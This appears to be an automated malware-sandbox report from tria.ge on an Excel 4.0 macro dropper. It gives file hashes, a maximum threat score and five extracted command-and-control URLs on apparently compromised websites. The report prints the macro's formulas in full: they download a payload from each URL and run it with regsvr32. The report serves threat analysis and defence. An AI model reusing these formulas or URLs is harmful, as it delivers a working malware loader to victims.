Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118

  • Size

    95KB

  • Sample

    241111-1tb64axfna

  • MD5

    a6dc2438c7b85e56846768293dc2c9e3

  • SHA1

    775b1b18e3e89e798ffe7d1205226f47663a09d9

  • SHA256

    071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118

  • SHA512

    a46bbadfce3131c95b4bb3c981ca6cff934bf8a2a27ee77207fe35be80b95cf9c8b8846654077fb8f161c9af68778fb2e4dce66fd6e90e0d9560620a1b9b8d16

  • SSDEEP

    1536:AQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:A2318DsVhonV69o2bchgGaWBcpA+fw

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/

https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/

https://forfreeiptv.com/wp-admin/s5Oxoskqv8/

https://dehraduncabs.com/wp-includes/9xqp/

https://imprecof.com/i/QPWeAg0C1hh/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://forfreeiptv.com/wp-admin/s5Oxoskqv8/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dehraduncabs.com/wp-includes/9xqp/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://imprecof.com/i/QPWeAg0C1hh/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/

xlm40.dropper

https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/

xlm40.dropper

https://forfreeiptv.com/wp-admin/s5Oxoskqv8/

Targets

    • Target

      071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118

    • Size

      95KB

    • MD5

      a6dc2438c7b85e56846768293dc2c9e3

    • SHA1

      775b1b18e3e89e798ffe7d1205226f47663a09d9

    • SHA256

      071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118

    • SHA512

      a46bbadfce3131c95b4bb3c981ca6cff934bf8a2a27ee77207fe35be80b95cf9c8b8846654077fb8f161c9af68778fb2e4dce66fd6e90e0d9560620a1b9b8d16

    • SSDEEP

      1536:AQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:A2318DsVhonV69o2bchgGaWBcpA+fw

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks